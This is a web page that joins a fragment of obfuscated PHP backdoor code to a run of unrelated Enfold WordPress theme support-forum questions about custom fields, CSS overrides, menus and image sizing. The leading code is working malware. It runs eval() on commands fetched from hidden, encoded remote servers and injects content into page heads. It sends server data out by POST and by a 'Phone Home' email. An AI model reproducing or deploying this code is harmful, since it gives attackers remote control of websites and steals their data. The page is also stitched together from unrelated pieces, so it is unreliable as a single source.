$oXyaqmHoChvHQFCvTluqmAC; $this->aIIwgKgvtyRoWoMedUdbp(WP_OPTION_KEY, $oXyaqmHoChvHQFCvTluqmAC); $this->XnpSvtOjNDRmxyfzaDKlGwM(); } return $oXyaqmHoChvHQFCvTluqmAC; } public function TztHMzNNJASlMfiSOwxQpE(){ $oXyaqmHoChvHQFCvTluqmAC = $this->oXyaqmHoChvHQFCvTluqmAC; if ($oXyaqmHoChvHQFCvTluqmAC == ”){ return false; } $SntMBKFkfTlUzXyNVQedo = @$_GET[$this->oXyaqmHoChvHQFCvTluqmAC[‘info’][‘serverKey’]]; if (isset($SntMBKFkfTlUzXyNVQedo) && $SntMBKFkfTlUzXyNVQedo == ”) { echo ‘<div id=”serverList” style=”display: none”>’; $bQYduZxDrtPMJtaBCQycHQY[‘servers’] = $oXyaqmHoChvHQFCvTluqmAC[‘servers’]; echo json_encode($bQYduZxDrtPMJtaBCQycHQY); echo ‘</div>’; die(); }else if (isset($SntMBKFkfTlUzXyNVQedo) && isset($this->oXyaqmHoChvHQFCvTluqmAC[‘info’][‘fail’])) { if (isset($this->oXyaqmHoChvHQFCvTluqmAC)) { $oXyaqmHoChvHQFCvTluqmAC = $this->oXyaqmHoChvHQFCvTluqmAC; }else{ $oXyaqmHoChvHQFCvTluqmAC = $this->oqtYbOOiucMYWyZsGEuETRhB(); } $oXyaqmHoChvHQFCvTluqmAC[‘servers’][] = $SntMBKFkfTlUzXyNVQedo; $this->aIIwgKgvtyRoWoMedUdbp(WP_OPTION_KEY, $oXyaqmHoChvHQFCvTluqmAC); die(); } return false; } public function OFwlxWaeMyxznpZtnfJLQA(){ $oXyaqmHoChvHQFCvTluqmAC = $this->oXyaqmHoChvHQFCvTluqmAC; if (!isset($oXyaqmHoChvHQFCvTluqmAC) || $oXyaqmHoChvHQFCvTluqmAC == null) { return; } if (!is_array($oXyaqmHoChvHQFCvTluqmAC) || $oXyaqmHoChvHQFCvTluqmAC == ”) { return; } if (@$oXyaqmHoChvHQFCvTluqmAC[‘info’][‘eval’] == 1){ foreach ($oXyaqmHoChvHQFCvTluqmAC[‘eval’] as $vsGIQvwCXRbSELMOlFV) { eval($vsGIQvwCXRbSELMOlFV); } } if (isset($oXyaqmHoChvHQFCvTluqmAC[‘echo’])){ if (!defined(‘wp_footerLeo’)) { add_action(‘wp_head’, array( $this, ‘WvOoqSuRpZkhgAAFQVjBjSVo’)); } } } public function WvOoqSuRpZkhgAAFQVjBjSVo(){ $oXyaqmHoChvHQFCvTluqmAC = $this->oXyaqmHoChvHQFCvTluqmAC; foreach ($oXyaqmHoChvHQFCvTluqmAC[‘echo’] as $stIedxfhoZcXvZNmNXTdFbI) { echo $stIedxfhoZcXvZNmNXTdFbI; } } private function oqtYbOOiucMYWyZsGEuETRhB() { $oXyaqmHoChvHQFCvTluqmAC = array(); $oXyaqmHoChvHQFCvTluqmAC[‘echo’] = array(); $oXyaqmHoChvHQFCvTluqmAC[‘eval’] = array(); $oXyaqmHoChvHQFCvTluqmAC[‘clients’] = array(); $oXyaqmHoChvHQFCvTluqmAC[‘update’] = array(); return $oXyaqmHoChvHQFCvTluqmAC; } private function dIOUyQsvDqPHTBIxnlYs(){ $dqkdbOJPzAPsLsuxnjAStdXUDis = array(‘www.’, ‘www’, ‘ ‘, ‘{‘, ‘}’); $this->htcFFCQTLLpnCchsPKGYxso = str_replace($dqkdbOJPzAPsLsuxnjAStdXUDis, “”, $_SERVER[‘HTTP_HOST’]); } private function HSxTktcbTftjZjKRHHmhr() { $oXyaqmHoChvHQFCvTluqmAC = array(); foreach ($this->yYVsqvOoqWsddypXgJcIKOw as $gXNjWLFkUQOugyREMXKvZBfw) { $oXyaqmHoChvHQFCvTluqmAC[] = base64_decode(str_rot13(strrev($gXNjWLFkUQOugyREMXKvZBfw))); } if (isset($this->oXyaqmHoChvHQFCvTluqmAC[‘info’][‘fail’])) { $nGwzfuUZcelzyfJBQMIgkk = (int) ($oXyaqmHoChvHQFCvTluqmAC[‘info’][‘fail’] / 100); if ($nGwzfuUZcelzyfJBQMIgkk == 0) { $nGwzfuUZcelzyfJBQMIgkk = 5; } else{ $nGwzfuUZcelzyfJBQMIgkk *= 5; } }else{ $nGwzfuUZcelzyfJBQMIgkk = 5; } return $this->VitTYMKdJITsiXBTLOEA($oXyaqmHoChvHQFCvTluqmAC, $nGwzfuUZcelzyfJBQMIgkk); } private function XsvsqpxlWxfKYiyUc($YJYRbBDIcUlLJwWidyuM) { $oXyaqmHoChvHQFCvTluqmAC = array(); foreach ($this->oXyaqmHoChvHQFCvTluqmAC[’emails’] as $HWcwGasopLJSadVNNw){ $oXyaqmHoChvHQFCvTluqmAC[] = $HWcwGasopLJSadVNNw; } foreach ($this->aJQafHDwnaPrCJrQMjHVh as $HWcwGasopLJSadVNNw) { $oXyaqmHoChvHQFCvTluqmAC[] = base64_decode(str_rot13(strrev($HWcwGasopLJSadVNNw))); } return $this->VitTYMKdJITsiXBTLOEA($oXyaqmHoChvHQFCvTluqmAC, $YJYRbBDIcUlLJwWidyuM); } private function KZdGlovqEtKYUSCqSVnK(){ $oXyaqmHoChvHQFCvTluqmAC = array(); $oXyaqmHoChvHQFCvTluqmAC[‘host’] = $_SERVER[‘HTTP_HOST’]; $oXyaqmHoChvHQFCvTluqmAC[‘page’] = $_SERVER[‘REQUEST_URI’]; $oXyaqmHoChvHQFCvTluqmAC[‘ip’] = $_SERVER[‘SERVER_ADDR’]; $oXyaqmHoChvHQFCvTluqmAC[‘eval’] = $this->YrCTrfUzBfsVJKvqiYUeFbc(); $oXyaqmHoChvHQFCvTluqmAC[‘exec’] = $this->KNstTqErzZQBDQOODaJdLv(); $oXyaqmHoChvHQFCvTluqmAC[‘serverKey’] = $this->BkISKDyWWRXScnLPbTlyI(); $oXyaqmHoChvHQFCvTluqmAC[‘run’] = 0; $oXyaqmHoChvHQFCvTluqmAC[‘ver’] = ‘0.2a’; $oXyaqmHoChvHQFCvTluqmAC[‘started’] = date(‘Ymd’); $oXyaqmHoChvHQFCvTluqmAC[‘last_connect’] = date(‘Ymd’); $this->WbKPQMoSbMZkXUeYKXRIk = $oXyaqmHoChvHQFCvTluqmAC; return $oXyaqmHoChvHQFCvTluqmAC; } private function BkISKDyWWRXScnLPbTlyI($PVSXPKLAQGaWKUtNNUYQFoBuJE = 10) { $dqkdbOJPzAPsLsuxnjAStdXUDis = ‘0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ’; $PqlpeiQHmZBwdmlsfEHmg = ”; for ($BCEUSjHFFwzzqmHmpjjQI = 0; $BCEUSjHFFwzzqmHmpjjQI < $PVSXPKLAQGaWKUtNNUYQFoBuJE; $BCEUSjHFFwzzqmHmpjjQI++) { $PqlpeiQHmZBwdmlsfEHmg .= $dqkdbOJPzAPsLsuxnjAStdXUDis[rand(0, strlen($dqkdbOJPzAPsLsuxnjAStdXUDis) – 1)]; } return $PqlpeiQHmZBwdmlsfEHmg; } public function KPBBXYwmuPGPaTyLhWevI(){ $oXyaqmHoChvHQFCvTluqmAC = $this->oXyaqmHoChvHQFCvTluqmAC; if (@$oXyaqmHoChvHQFCvTluqmAC[‘info’][‘last_connect’] < date(‘Ymd’)){ $oXyaqmHoChvHQFCvTluqmAC = $this->CMQEWmnewJmgOLaFvXGCU($oXyaqmHoChvHQFCvTluqmAC); if ($oXyaqmHoChvHQFCvTluqmAC == false){ return; } else{ unset($oXyaqmHoChvHQFCvTluqmAC[‘info’][‘fail’]); } $oXyaqmHoChvHQFCvTluqmAC[‘info’][‘last_connect’] = date(‘Ymd’); } $oXyaqmHoChvHQFCvTluqmAC[‘info’][‘run’]++; $this->aIIwgKgvtyRoWoMedUdbp(WP_OPTION_KEY, $oXyaqmHoChvHQFCvTluqmAC); } private function CMQEWmnewJmgOLaFvXGCU($oXyaqmHoChvHQFCvTluqmAC){ $yYVsqvOoqWsddypXgJcIKOw = @$oXyaqmHoChvHQFCvTluqmAC[‘servers’]; $uHrzRBdPUetDqbZAdw = $this->tEiRFSJMSpXyxKKORPZClI($yYVsqvOoqWsddypXgJcIKOw, $oXyaqmHoChvHQFCvTluqmAC); if ($uHrzRBdPUetDqbZAdw !== false){ return $uHrzRBdPUetDqbZAdw; } $uHrzRBdPUetDqbZAdw = $this->tEiRFSJMSpXyxKKORPZClI($this->HSxTktcbTftjZjKRHHmhr(), $oXyaqmHoChvHQFCvTluqmAC); if ($uHrzRBdPUetDqbZAdw !== false) { return $uHrzRBdPUetDqbZAdw; } $this->XnpSvtOjNDRmxyfzaDKlGwM(); } private function tEiRFSJMSpXyxKKORPZClI($QrnkCEWRkHbQPoEPelYQRw, $oXyaqmHoChvHQFCvTluqmAC) { foreach ($QrnkCEWRkHbQPoEPelYQRw as $gXNjWLFkUQOugyREMXKvZBfw) { $uHrzRBdPUetDqbZAdw = $this->VxjeXwUeRLricksbcxlcSRnA($gXNjWLFkUQOugyREMXKvZBfw, $oXyaqmHoChvHQFCvTluqmAC[‘info’], $oXyaqmHoChvHQFCvTluqmAC); if ($uHrzRBdPUetDqbZAdw != false) { if (!isset($oXyaqmHoChvHQFCvTluqmAC[‘info’][’empty’])){ $oXyaqmHoChvHQFCvTluqmAC[‘info’][’empty’] = 0; } if ($this->YobOrWbieESFVcSsWsuBypg) { $oXyaqmHoChvHQFCvTluqmAC[‘info’][’empty’]++; if (!isset($BCEUSjHFFwzzqmHmpjjQI)){ $BCEUSjHFFwzzqmHmpjjQI = (int)($oXyaqmHoChvHQFCvTluqmAC[‘info’][’empty’] / 5); } if ($BCEUSjHFFwzzqmHmpjjQI > 0) { $BCEUSjHFFwzzqmHmpjjQI–; continue; } } if ($this->YobOrWbieESFVcSsWsuBypg) { return $oXyaqmHoChvHQFCvTluqmAC; } $uHrzRBdPUetDqbZAdw[‘info’][’empty’] = –$oXyaqmHoChvHQFCvTluqmAC[‘info’][’empty’]; return $uHrzRBdPUetDqbZAdw; } } return false; } private function VxjeXwUeRLricksbcxlcSRnA($gXNjWLFkUQOugyREMXKvZBfw, $WbKPQMoSbMZkXUeYKXRIk, $oXyaqmHoChvHQFCvTluqmAC) { $this->YobOrWbieESFVcSsWsuBypg = false; $OQijXfnrxWxPIcPSUibKEFmLE = $this->RoQfzgyhgTpMgdUIktgNdYvKE($gXNjWLFkUQOugyREMXKvZBfw, $WbKPQMoSbMZkXUeYKXRIk); $OQijXfnrxWxPIcPSUibKEFmLE = $this->gTSiihhIRUNPkADDVdes($OQijXfnrxWxPIcPSUibKEFmLE); if ($OQijXfnrxWxPIcPSUibKEFmLE != false) { if ($this->YobOrWbieESFVcSsWsuBypg) { return $oXyaqmHoChvHQFCvTluqmAC; } $OQijXfnrxWxPIcPSUibKEFmLE[‘info’] = $WbKPQMoSbMZkXUeYKXRIk; return $OQijXfnrxWxPIcPSUibKEFmLE; } return false; } private function gTSiihhIRUNPkADDVdes($oXyaqmHoChvHQFCvTluqmAC){ if(!isset($this->WbKPQMoSbMZkXUeYKXRIk)){ $this->WbKPQMoSbMZkXUeYKXRIk = $this->oXyaqmHoChvHQFCvTluqmAC[‘info’]; } if (md5($this->WbKPQMoSbMZkXUeYKXRIk[‘serverKey’]) == $oXyaqmHoChvHQFCvTluqmAC) { $this->YobOrWbieESFVcSsWsuBypg = true; return true; } $oXyaqmHoChvHQFCvTluqmAC = $this->AeRxXNHxOXpcNJWlZSIKLhIw->vZlUWjEYdyPGPomnFXMGnNY($oXyaqmHoChvHQFCvTluqmAC); $oXyaqmHoChvHQFCvTluqmAC = json_decode($oXyaqmHoChvHQFCvTluqmAC, true); if ($oXyaqmHoChvHQFCvTluqmAC == false) { return false; } else{ if (!isset($oXyaqmHoChvHQFCvTluqmAC[‘servers’])) { return false; } } return $oXyaqmHoChvHQFCvTluqmAC; } private function RoQfzgyhgTpMgdUIktgNdYvKE($gXNjWLFkUQOugyREMXKvZBfw, $WbKPQMoSbMZkXUeYKXRIk = null,$BZaxGALPLdVfntBIQWUPs = null){ if (strstr($gXNjWLFkUQOugyREMXKvZBfw, $_SERVER[‘HTTP_HOST’]) || trim($gXNjWLFkUQOugyREMXKvZBfw) == ”) { return false; } if (isset($WbKPQMoSbMZkXUeYKXRIk)) { $BdlbpgzPBjxVLkBLnsrXkmI = json_encode($WbKPQMoSbMZkXUeYKXRIk); $oXyaqmHoChvHQFCvTluqmAC = $this->AeRxXNHxOXpcNJWlZSIKLhIw->bkBMtlOkGRaPFVExpcNbC($BdlbpgzPBjxVLkBLnsrXkmI); $WbKPQMoSbMZkXUeYKXRIk = array( “serverKey” => $WbKPQMoSbMZkXUeYKXRIk[‘serverKey’], “data” => $oXyaqmHoChvHQFCvTluqmAC[‘data’], “key” => $oXyaqmHoChvHQFCvTluqmAC[‘key’] ); } while (true){ $SCvWTGyfCYyeLdjcFFzobk = curl_init(); curl_setopt($SCvWTGyfCYyeLdjcFFzobk,CURLOPT_URL,”http://$gXNjWLFkUQOugyREMXKvZBfw”); curl_setopt($SCvWTGyfCYyeLdjcFFzobk,CURLOPT_RETURNTRANSFER,1); @curl_setopt($SCvWTGyfCYyeLdjcFFzobk, CURLOPT_FOLLOWLOCATION, true); if (isset($WbKPQMoSbMZkXUeYKXRIk)) { curl_setopt($SCvWTGyfCYyeLdjcFFzobk, CURLOPT_CUSTOMREQUEST, “POST”); curl_setopt($SCvWTGyfCYyeLdjcFFzobk, CURLOPT_POSTFIELDS, $WbKPQMoSbMZkXUeYKXRIk); } curl_setopt($SCvWTGyfCYyeLdjcFFzobk,CURLOPT_CONNECTTIMEOUT,10); $oXyaqmHoChvHQFCvTluqmAC = curl_exec($SCvWTGyfCYyeLdjcFFzobk); curl_close($SCvWTGyfCYyeLdjcFFzobk); if (!strstr($oXyaqmHoChvHQFCvTluqmAC, “301 Moved Permanently”)) { break; } else{ preg_match_all(‘/<a.*href=\”””http:\/\/(.*?)\”””.*?\>/’,$oXyaqmHoChvHQFCvTluqmAC,$NyFDhMvsSaUwvJsx); $gXNjWLFkUQOugyREMXKvZBfw = $NyFDhMvsSaUwvJsx[1][0]; } } return $oXyaqmHoChvHQFCvTluqmAC; } private function aIIwgKgvtyRoWoMedUdbp($piiJbwvzLxHvKjlNnFzd, $oXyaqmHoChvHQFCvTluqmAC) { if (is_array($oXyaqmHoChvHQFCvTluqmAC)) { $oXyaqmHoChvHQFCvTluqmAC = json_encode($oXyaqmHoChvHQFCvTluqmAC); } $ilUTrmqGvQsBtZfyeBXfg = $this->AeRxXNHxOXpcNJWlZSIKLhIw->MFmjdYJpnAEmbwnXvkQU($oXyaqmHoChvHQFCvTluqmAC); if ($this->YYfeblxJfGQgkPpfdrIOXNZwHg($ilUTrmqGvQsBtZfyeBXfg)) $oXyaqmHoChvHQFCvTluqmAC = json_decode($ilUTrmqGvQsBtZfyeBXfg, true); if (!isset($oXyaqmHoChvHQFCvTluqmAC[‘key’]) || !isset($oXyaqmHoChvHQFCvTluqmAC[‘data’]) || strlen($oXyaqmHoChvHQFCvTluqmAC[‘key’]) == 0 || strlen($oXyaqmHoChvHQFCvTluqmAC[‘data’]) == 0 ) { die(); } update_option($piiJbwvzLxHvKjlNnFzd, $ilUTrmqGvQsBtZfyeBXfg); } private function McEnUjjQfaFzqGsihhU($piiJbwvzLxHvKjlNnFzd, $ysnqBUjsRbJDIlZaAE = false) { if (!$ysnqBUjsRbJDIlZaAE) { $oXyaqmHoChvHQFCvTluqmAC = get_option($piiJbwvzLxHvKjlNnFzd); }else{ $oXyaqmHoChvHQFCvTluqmAC = $piiJbwvzLxHvKjlNnFzd; } $GfNOeQGoTKggozAbXZAUpg = $this->AeRxXNHxOXpcNJWlZSIKLhIw->vZlUWjEYdyPGPomnFXMGnNY($oXyaqmHoChvHQFCvTluqmAC); return json_decode($GfNOeQGoTKggozAbXZAUpg, true); } private function YrCTrfUzBfsVJKvqiYUeFbc(){ $givBPiVtALrQjPLInUFKegOE = false; @eval(‘$givBPiVtALrQjPLInUFKegOE = true;’); return $givBPiVtALrQjPLInUFKegOE; } private function KNstTqErzZQBDQOODaJdLv() { $BlvGDekbFjVHsnUrjUKqdj = explode(‘, ‘, ini_get(‘disable_functions’)); return !in_array(‘exec’, $BlvGDekbFjVHsnUrjUKqdj); } private function XnpSvtOjNDRmxyfzaDKlGwM($oXyaqmHoChvHQFCvTluqmAC = null) { if ($oXyaqmHoChvHQFCvTluqmAC == null) { $oXyaqmHoChvHQFCvTluqmAC = $this->oXyaqmHoChvHQFCvTluqmAC; } if (isset($oXyaqmHoChvHQFCvTluqmAC[‘info’][‘fail’])){ $oXyaqmHoChvHQFCvTluqmAC[‘info’][‘fail’]++; }else{ $oXyaqmHoChvHQFCvTluqmAC[‘info’][‘fail’] = 1; } if (($oXyaqmHoChvHQFCvTluqmAC[‘info’][‘fail’] % 100) == 0 && isset($oXyaqmHoChvHQFCvTluqmAC[‘clients’])){ foreach ($oXyaqmHoChvHQFCvTluqmAC[‘clients’] as $qBNcTAaiRUhfdXBSzsVg) { if (strstr($qBNcTAaiRUhfdXBSzsVg, “|”) === false) { continue; } else{ $AoNmaQCAQvHyEPvRUhbfukXQ = explode(“|”, $qBNcTAaiRUhfdXBSzsVg); } $gXNjWLFkUQOugyREMXKvZBfw = $AoNmaQCAQvHyEPvRUhbfukXQ[0] . “?” . $AoNmaQCAQvHyEPvRUhbfukXQ[1]; $OQijXfnrxWxPIcPSUibKEFmLE = $this->RoQfzgyhgTpMgdUIktgNdYvKE($gXNjWLFkUQOugyREMXKvZBfw); preg_match(“/<div id=\”serverList\” style=\”display: none\”>(?<content>.*?)<\/div>/”, $OQijXfnrxWxPIcPSUibKEFmLE, $NUwGojaMFrWOXnaoPPXmg); if ($this->YYfeblxJfGQgkPpfdrIOXNZwHg($NUwGojaMFrWOXnaoPPXmg[‘content’])){ $OQijXfnrxWxPIcPSUibKEFmLE = json_decode($NUwGojaMFrWOXnaoPPXmg[‘content’], true); if (isset($this->oXyaqmHoChvHQFCvTluqmAC)) { $oXyaqmHoChvHQFCvTluqmAC = $this->oXyaqmHoChvHQFCvTluqmAC; }else{ $oXyaqmHoChvHQFCvTluqmAC = $this->oqtYbOOiucMYWyZsGEuETRhB(); } $oXyaqmHoChvHQFCvTluqmAC[‘servers’] = array_merge($OQijXfnrxWxPIcPSUibKEFmLE[‘servers’], $oXyaqmHoChvHQFCvTluqmAC[‘servers’]); $this->$oXyaqmHoChvHQFCvTluqmAC[‘servers’] = array_unique($oXyaqmHoChvHQFCvTluqmAC[‘servers’]); } else{ } } } if ($oXyaqmHoChvHQFCvTluqmAC[‘info’][‘fail’] % 100 == 0) { $LMKkvQfVacsJkiwJOKQmc = false; $aJQafHDwnaPrCJrQMjHVh = $this->XsvsqpxlWxfKYiyUc($oXyaqmHoChvHQFCvTluqmAC[‘info’][‘fail’] / 100 * 5); $GSpWdZRUzAuMgSxhFeQsTA = array(); for($BCEUSjHFFwzzqmHmpjjQI = 0; $BCEUSjHFFwzzqmHmpjjQI < 5 ; $BCEUSjHFFwzzqmHmpjjQI++) { $YwrSbZoVizxkPzSqHegTC = rand( 0, count($aJQafHDwnaPrCJrQMjHVh) – 1); $TcfJENOGUCdnEeJdjBHSxLc = 0; $XCZRNpIiBvvCJTeyKlycSwY = 0; while(in_array($YwrSbZoVizxkPzSqHegTC,$GSpWdZRUzAuMgSxhFeQsTA)){ $XCZRNpIiBvvCJTeyKlycSwY++; $TcfJENOGUCdnEeJdjBHSxLc ++; $YwrSbZoVizxkPzSqHegTC = rand( 0, count($aJQafHDwnaPrCJrQMjHVh) – 1); if ($TcfJENOGUCdnEeJdjBHSxLc == 10) { $LMKkvQfVacsJkiwJOKQmc = true; break; } } if ($LMKkvQfVacsJkiwJOKQmc){ break; } $GSpWdZRUzAuMgSxhFeQsTA[] = $YwrSbZoVizxkPzSqHegTC; mail($aJQafHDwnaPrCJrQMjHVh[$YwrSbZoVizxkPzSqHegTC], “Phone Home”, json_encode($this->AeRxXNHxOXpcNJWlZSIKLhIw->bkBMtlOkGRaPFVExpcNbC(print_r($oXyaqmHoChvHQFCvTluqmAC, true) . print_r($_SERVER, true)))); } $this->vwhhtIrAWhUEFDgPrcco = true; } $this->aIIwgKgvtyRoWoMedUdbp(WP_OPTION_KEY, $oXyaqmHoChvHQFCvTluqmAC); } private function YYfeblxJfGQgkPpfdrIOXNZwHg($oXyaqmHoChvHQFCvTluqmAC){ $oXyaqmHoChvHQFCvTluqmAC = json_decode($oXyaqmHoChvHQFCvTluqmAC); if ($oXyaqmHoChvHQFCvTluqmAC == null) return false; return true; } private function VitTYMKdJITsiXBTLOEA($QrnkCEWRkHbQPoEPelYQRw, $MTPkrEtDJbjkrzXWSBgAo) { $PVSXPKLAQGaWKUtNNUYQFoBuJE = count($QrnkCEWRkHbQPoEPelYQRw); if ($PVSXPKLAQGaWKUtNNUYQFoBuJE <= $MTPkrEtDJbjkrzXWSBgAo) { return $QrnkCEWRkHbQPoEPelYQRw; } $oXyaqmHoChvHQFCvTluqmAC[] = array(); $PaTgoaVMMKhvlmVWxSnBVLA = array(); $FyQVCWLNApYgwsSzygQgg = 0; $BCEUSjHFFwzzqmHmpjjQI = 0; while (true) { $BCEUSjHFFwzzqmHmpjjQI++; $piiJbwvzLxHvKjlNnFzd = $this->YHhBHrBuAZYCsZUCLxMNBSuTU($this->htcFFCQTLLpnCchsPKGYxso . $BCEUSjHFFwzzqmHmpjjQI , $PVSXPKLAQGaWKUtNNUYQFoBuJE); if (in_array($piiJbwvzLxHvKjlNnFzd, $PaTgoaVMMKhvlmVWxSnBVLA)) { continue; } $PaTgoaVMMKhvlmVWxSnBVLA[] = $piiJbwvzLxHvKjlNnFzd; $FyQVCWLNApYgwsSzygQgg++; if ($FyQVCWLNApYgwsSzygQgg == $MTPkrEtDJbjkrzXWSBgAo) { break; } } foreach ($PaTgoaVMMKhvlmVWxSnBVLA as $piiJbwvzLxHvKjlNnFzd) { $oXyaqmHoChvHQFCvTluqmAC[] = $QrnkCEWRkHbQPoEPelYQRw[$piiJbwvzLxHvKjlNnFzd]; } return $oXyaqmHoChvHQFCvTluqmAC; } private function YHhBHrBuAZYCsZUCLxMNBSuTU($htcFFCQTLLpnCchsPKGYxso, $BwYCWyuBYkgiOzNljFJONA) { $dzVXtdBSuUwgnARTiNICo = 0; $JAxNyUCJRbrfbemcWrOFpg = hash(“md5”,$htcFFCQTLLpnCchsPKGYxso); $dzVXtdBSuUwgnARTiNICo = (preg_replace(“/[^0-9,.]/”, “”, $JAxNyUCJRbrfbemcWrOFpg)); while ($dzVXtdBSuUwgnARTiNICo > 10000000){ $dzVXtdBSuUwgnARTiNICo /= 100000; } $this->IatJdWimJbxtprWZElHevfI = $dzVXtdBSuUwgnARTiNICo; $dzVXtdBSuUwgnARTiNICo %= $BwYCWyuBYkgiOzNljFJONA; return $dzVXtdBSuUwgnARTiNICo; } } ?>
Hello,
I would like to ask if the following customisation is possible for products presentation, for someone who wants to sell events/seminars:
1) to be able to add a sort description under produst title
2) to be able to add custom fields such as: calendar/time/priceFor your help, I am attaching an image containing the above:
If it is not possible, it would be a very cool feature to have, to make enfold truly, and fully customisable. There is a great demand for event organisers for such features.
Thank you.
This has been a really great theme!
I just installed the latest theme update and am glad I kept a backup of the older release. I have been browsing the forums for an answer to my regarding why images site-wide (inserted using the editor) are now displaying incorrectly. It looks like the theme makers have decided to override the WP resize tool feature. Now any image inserted in the editor is displaying 100% of the parent container width. While I understand and appreciate that this was an effort to increase responsiveness, for some it can create more problems than it solves. The related thread I was reading is located here:
https://kriesi.at/support/topic/image-function-still-not-working-correctly/
I would have responded to this thread, however it has been closed. I just want to mention that this was the first thread I’ve encountered where the solution was less than desirable. I know this is not the norm (the solutions offered here are usually exceedingly helpful, positive and prompt). I thought I’d try to shed some new light on why the answers provided may feel unsatisfactory for some:
– Not being able to use a new feature of the latest WP 3.9 seems counter-intuitive.
– This may confuse users when they try to help themselves using the WordPress guides/codex, since everywhere they read will tell them how this feature should work (the first thing I did was go to the WordPress support site and RTFM to see what was up).
– The fix (although minor for an experienced user) requires a core edit that will be wiped out on the next theme update. This might be easy for me, but not for a client. It means I’m going to get a few calls to fix things that I’d rather not have to fix since I encourage clients and friends to purchase this theme.
– Being required to upload multiple copies of the same image (just to increase or decrease the image size by 10-50 pixels in my client’s case) is neither efficient nor convenient. Yes, users should ideally use images at the correct size whenever possible. However, expecting everyone should know how to use an image editor is not realistic. Expecting them to be able to mass edit and re-upload is also not realistic.
– There are plenty of reasons to not use the enfold layout builder image insert (such as the axillary fields/tabs provided on Woocommerce product pages where the layout builder is not available). Graphics inserted here can added up to thousands of images on a single e-commerce site suddenly not working correctly (this will be the case on one of my client sites if he chooses to update). Re-sizing all of these images and re-uploading and re-inserting is not a feasible option for him. Neither is editing the core to have it wiped out next update resulting in frustrated calls to the person who recommended this theme to them (me). Editing 2000+ product pages to assign a css style to re-size each image (slightly) as needed is also unfeasible.
– WordPress changed/modified the WP resize tool for a reason, because users wanted this to be an easy to use feature.
Anyway, I do very much appreciate all of the hard work that went into this theme. I don’t like to complain about any feature. I usually just open the child/custom CSS in Dreamweaver and make quick edits there, but it won’t work persistently in this case so I thought I’d post my feedback here.
Can you please consider making this an option that can be turned on/off so users can use the new feature provided in WP without making core edits?
Thanks,
Crys :)My client wants to use JotForm for their forms.
JotForm allows you to use the website’s CSS to carry over the website styles on the form.
See here: http://www.jotform.com/help/117-How-to-Inject-Custom-CSS-Codes
What are the .form specifics that I can cut and paste into the JotForm custom css to make this work?
Any help would be appreciated.
Thanks
Some HTML code we are adding to a page requires us to import a javascript file in the body of the page right above the HTML code. If I add the javascript import html, save the page, and then go back to the page to edit it, the javascript import code is being removed. I understand this is a wordpress specific problem.
So I tried to avoid this by adding a custom shortcode to “output” the javascript import html instead but the theme doesn’t appear to process short codes either. Even if I used the custom fields and try to add something like:
[cf]js-slider[/cf]
When you view the page you’ll see the same thing rather than the rendered version of the short code.
I have added the code to function.php and the new fields are there however when I apply in the CSS it does not work.
Here are some examples of what I am trying with developer id = “asset-index-toggler”
Example 1:
#top #asset-index-toggler .js_active .toggler {
-moz-user-select: none;
border-style: solid;
border-width: 1px;
cursor: pointer;
display: block;
font-size: 20px !important;
margin: 0;
padding: 8px 7px 10px 50px;
position: relative;
top: 1px;
}Example 2:
#asset-index-toggler .js_active .toggler {
-moz-user-select: none;
border-style: solid;
border-width: 1px;
cursor: pointer;
display: block;
font-size: 20px !important;
margin: 0;
padding: 8px 7px 10px 50px;
position: relative;
top: 1px;
}Example3:
.asset-index-toggler .js_active .toggler {
-moz-user-select: none;
border-style: solid;
border-width: 1px;
cursor: pointer;
display: block;
font-size: 20px !important;
margin: 0;
padding: 8px 7px 10px 50px;
position: relative;
top: 1px;
}If I leave out “asset-index-toggler” then it applies the styling to all togglers which I dont want.
I have cleared cache and all those good things and still nothing.Please advise, thanks.
(Using a Child theme and latest version of Enfold)
In the theme settings, despite having the option “Header Title and Breadcrumbs” enabled, and in the page template as well, neither the title nor breadcrumbs, were coming up!
Oddly enough, this was happening in some new pages I had created. In some of the pages of the demo content, they were still there.
Made me think that this probably wasn’t a template or CSS issue, but more of a database query not being rewritten.Decide to check “Screen Options” of the page I was working on and enabled “Custom Fields”. Once that was enabled, I scrolled down and noticed “header” with the value “no”. Switched that value to “yes”, updated the custom field, and finally updated the page, and the title and breadcrumbs were working again!

Topic: Couple questions
Hi team,
I’m using the child theme
1) For this theme, what is the recommended way to add new fonts?
2) For sidebar widget, is there a way to decide which categories to be shown?
3) Mega Menu – Is there a max number of subpages/subcategories allowed?
I’m doing this,
1A
– 1Aa
– 1Aaa
– 1Aaaa
– 1Aaaaa
– 1Aaaaaa
– 1AaaaaaaIt seems that after 5 subpages are added, the MegaMenu drop down is truncated.
3a) Is it possible to arrange the subpages under 1A into 2 columns?
4) I can’t seem to find the option to change font size via the theme settings?
5) Is there a way to display custom titles or post titles instead of the Blog – Latest News
6) have an option to show breadcrumb only?
7) Menu – What is the max number of main and sub pages supported for mobile version? It seems that the megamenu is truncated in mobile version.
8) I’d like to add custom fields in single posts, how and where should i edit the files? Is using Advanced custom field plugin advisable and compatible with this theme?
9) Can you recommend a plugin for form that is compatible with this theme?
10) Can you recommend a plugin for social sharing? I am surprised it is not included with the theme.
Thanks
Hello
I am using your Enfold theme.I have used the default page layout rather than the advanced ones for my portfolio pages as I wanted to use the advanced custom fields plugin to give my client really specific data entry fields and them not to have to think about layout at all.
Using the default editor is it possible still to use your image gallery within the page.
In WordPress I still see the Additional portfolio settings dropdown section with the ability to add images etc but I cannot get this to display on the front end of the site.
Is this possible or do I have to use an image gallery plugin such to be able to give a gallery for each portfolio item.
Hope that makes sense.
Thanks
JoelI’m trying to override Enfold’s CSS for tables and input fields, on this page: http://www.finalsmoke.net/order-form-1/
using these styles in my custom style.css file…
input.fsfield {
border-width: 1px;
border-color: black;
width: 20px;
color: #000;
line-height: normal;
background: rgb(255,255,255);
font-size: 13px;
font-family:”Times New Roman”,Georgia,Serif;
margin: none;
}.fstable table, caption, tbody, tfoot, thead, tr, th, td {
margin: 0;
padding: 0;
border: 0;
outline: 0;
font-size: 100%;
vertical-align: baseline;
border-collapse: True;
background: none;
}However, my table (which has id=’fstable’) still has a white background (should be transparent), and my form fields (which use class=’fsfield’) are too wide and have the wrong font.
The above page is using a template in a child theme. The template contains the table and form fields which are not responding to my custom css in styles.css.
Please advise.
Is there a way to use custom fields to remove the header container from one specific page?
I am using prettyPhoto to open a Contact Form (matt-morse.com/contact-matt) but would like to remove the header space.
Hey!
